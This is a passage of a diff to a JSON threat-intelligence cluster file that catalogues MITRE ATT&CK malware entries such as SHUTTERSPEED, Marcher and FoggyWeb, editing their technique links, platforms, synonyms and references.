"estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ @@ -25563,13 +24722,6 @@ ], "type": "uses" }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ @@ -25633,13 +24785,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", "tags": [ @@ -25703,13 +24848,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ @@ -27351,9 +26489,15 @@ "description": "[SHUTTERSPEED](https://attack.mitre.org/software/S0217) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)", "meta": { "external_id": "S0217", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0217", "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + ], + "synonyms": [ + "SHUTTERSPEED" ] }, "related": [ @@ -27901,13 +27045,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ @@ -27943,6 +27080,13 @@ ], "type": "uses" }, + { + "dest-uuid": "3911658a-6506-4deb-9ab4-595a51ae71ad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ @@ -27978,6 +27122,13 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ @@ -28013,13 +27164,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "tags": [ @@ -28034,13 +27178,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ @@ -28062,6 +27199,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ @@ -28084,9 +27228,15 @@ "description": "[WINERACK](https://attack.mitre.org/software/S0219) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)", "meta": { "external_id": "S0219", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0219", "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + ], + "synonyms": [ + "WINERACK" ] }, "related": [ @@ -28154,21 +27304,27 @@ "description": "[PJApps](https://attack.mitre.org/software/S0291) is an Android malware family. (Citation: Lookout-EnterpriseApps)", "meta": { "external_id": "S0291", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0291", "https://blog.lookout.com/blog/2016/05/25/spoofed-apps/" + ], + "synonyms": [ + "PJApps" ] }, "related": [ { - "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "dest-uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28189,21 +27345,27 @@ "description": "[RuMMS](https://attack.mitre.org/software/S0313) is an Android malware family. (Citation: FireEye-RuMMS)", "meta": { "external_id": "S0313", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0313", "https://www.fireeye.com/blog/threat-research/2016/04/rumms-android-malware.html" + ], + "synonyms": [ + "RuMMS" ] }, "related": [ { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28222,6 +27384,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "936be60d-90eb-4c36-9247-4b31128432c4", @@ -28995,9 +28164,16 @@ "description": "[DualToy](https://attack.mitre.org/software/S0315) is Windows malware that installs malicious applications onto Android and iOS devices connected over USB. (Citation: PaloAlto-DualToy)", "meta": { "external_id": "S0315", + "mitre_platforms": [ + "Android", + "iOS" + ], "refs": [ "https://attack.mitre.org/software/S0315", "https://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/" + ], + "synonyms": [ + "DualToy" ] }, "related": [ @@ -29519,7 +28695,7 @@ "value": "RedLeaves - S0153" }, { - "description": "[USBStealer](https://attack.mitre.org/software/S0136) is malware that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) is malware that has used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)", "meta": { "external_id": "S0136", "mitre_platforms": [ @@ -29863,7 +29039,6 @@ "macOS" ], "refs": [ - "http://www.thesafemac.com/new-signed-malware-called-janicab/", "https://attack.mitre.org/software/S0163" ], "synonyms": [ @@ -30118,21 +29293,34 @@ "description": "[Marcher](https://attack.mitre.org/software/S0317) is Android malware that is used for financial fraud. (Citation: Proofpoint-Marcher)", "meta": { "external_id": "S0317", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0317", "https://www.proofpoint.com/us/threat-insight/post/credential-phishing-and-android-banking-trojan-combine-austrian-mobile-attacks" + ], + "synonyms": [ + "Marcher" ] }, "related": [ { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30411,14 +29599,20 @@ "description": "[Allwinner](https://attack.mitre.org/software/S0319) is a company that supplies processors used in Android tablets and other devices. A Linux kernel distributed by [Allwinner](https://attack.mitre.org/software/S0319) for use on these devices reportedly contained a backdoor. (Citation: HackerNews-Allwinner)", "meta": { "external_id": "S0319", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0319", "https://thehackernews.com/2016/05/android-kernal-exploit.html" + ], + "synonyms": [ + "Allwinner" ] }, "related": [ { - "dest-uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31909,13 +31103,10 @@ ], "refs": [ "https://attack.mitre.org/software/S0147", - "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine", - "https://www.secureworks.com/research/threat-profiles/iron-tilden" + "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" ], "synonyms": [ - "Pteranodon", - "Pterodo" + "Pteranodon" ] }, "related": [ @@ -31947,20 +31138,6 @@ ], "type": "uses" }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ @@ -31968,20 +31145,6 @@ ], "type": "uses" }, - { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", "tags": [ @@ -31996,13 +31159,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -32031,13 +31187,6 @@ ], "type": "uses" }, - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ @@ -32317,20 +31466,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", "tags": [ @@ -32339,7 +31474,7 @@ "type": "uses" }, { - "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32352,6 +31487,27 @@ ], "type": "uses" }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -32360,14 +31516,7 @@ "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32395,7 +31544,14 @@ "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32717,21 +31873,42 @@ }, "related": [ { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -33108,9 +32285,15 @@ "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)", "meta": { "external_id": "S0155", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0155", "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + ], + "synonyms": [ + "WINDSHIELD" ] }, "related": [ @@ -33181,21 +32364,7 @@ "type": "uses" }, { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -33208,6 +32377,13 @@ ], "type": "uses" }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -33229,6 +32405,13 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -33236,6 +32419,13 @@ ], "type": "uses" }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", "tags": [ @@ -33244,7 +32434,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -33264,13 +32454,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -33286,7 +32469,7 @@ "type": "uses" }, { - "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -33537,13 +32720,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "425771c5-48b4-4ecd-9f95-74ed3fc9da59", @@ -34533,173 +33709,6 @@ "uuid": "4e6b9625-bbda-4d96-a652-b3bb45453f26", "value": "RemoteCMD - S0166" }, - { - "description": "[FoggyWeb](https://attack.mitre.org/software/S0661) is a passive and highly-targeted backdoor capable of remotely exfiltrating sensitive information from a compromised Active Directory Federated Services (AD FS) server. It has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least early April 2021.(Citation: MSTIC FoggyWeb September 2021)", - "meta": { - "external_id": "S0661", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0661", - "https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/" - ], - "synonyms": [ - "FoggyWeb" - ] - }, - "related": [ - { - "dest-uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "41868330-6ee2-4d0f-b743-9f2294c3c9b6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4933e63b-9b77-476e-ab29-761bc5b7d15a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "72911fe3-f085-40f7-b4f2-f25a4221fe44", - "value": "FoggyWeb - S0661" - }, { "description": "[HELLOKITTY](https://attack.mitre.org/software/S0617) is a ransomware written in C++ that shares similar code structure and functionality with [DEATHRANSOM](https://attack.mitre.org/software/S0616) and [FIVEHANDS](https://attack.mitre.org/software/S0618). [HELLOKITTY](https://attack.mitre.org/software/S0617) has been used since at least 2020, targets have included a Polish video game developer and a Brazilian electric power company.(Citation: FireEye FiveHands April 2021)", "meta": { @@ -34853,79 +33862,6 @@ "uuid": "1cc934e4-b01d-4543-a011-b988dfc1a458", "value": "Matryoshka - S0167" }, - { - "description": "[Tomiris](https://attack.mitre.org/software/S0671) is a backdoor written in Go that continuously queries its C2 server for executables to download and execute on a victim system. It was first reported in September 2021 during an investigation of a successful DNS hijacking campaign against a Commonwealth of Independent States (CIS) member. Security researchers assess there are similarities between [Tomiris](https://attack.mitre.org/software/S0671) and [GoldMax](https://attack.mitre.org/software/S0588).(Citation: Kaspersky Tomiris Sep 2021)", - "meta": { - "external_id": "S0671", - "refs": [ - "https://attack.mitre.org/software/S0671", - "https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/" - ], - "synonyms": [ - "Tomiris" - ] - }, - "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bd9c723-2f78-4309-82c5-47cad406572b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "327b3a25-9e60-4431-b3b6-93b9c64eacbc", - "value": "Tomiris - S0671" - }, { "description": "[Wingbird](https://attack.mitre.org/software/S0176) is a backdoor that appears to be a version of commercial software [FinFisher](https://attack.mitre.org/software/S0182). It is reportedly used to attack individual computers instead of networks. It was used by [NEODYMIUM](https://attack.mitre.org/groups/G0055) in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)", "meta": { @@ -35313,183 +34249,6 @@ "uuid": "76abb3ef-dafd-4762-97cb-a35379429db4", "value": "Gazer - S0168" }, - { - "description": "[Lizar](https://attack.mitre.org/software/S0681) is a modular remote access tool written using the .NET Framework that shares structural similarities to [Carbanak](https://attack.mitre.org/software/S0030). It has likely been used by [FIN7](https://attack.mitre.org/groups/G0046) since at least February 2021.(Citation: BiZone Lizar May 2021)(Citation: Threatpost Lizar May 2021)(Citation: Gemini FIN7 Oct 2021)", - "meta": { - "external_id": "S0681", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0681", - "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", - "https://geminiadvisory.io/fin7-ransomware-bastion-secure/", - "https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/" - ], - "synonyms": [ - "Lizar", - "Tirion" - ] - }, - "related": [ - { - "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4bc31b94-045b-4752-8920-aebaebdb6470", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "806a49c4-970d-43f9-9acc-ac0ee11e6662", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - 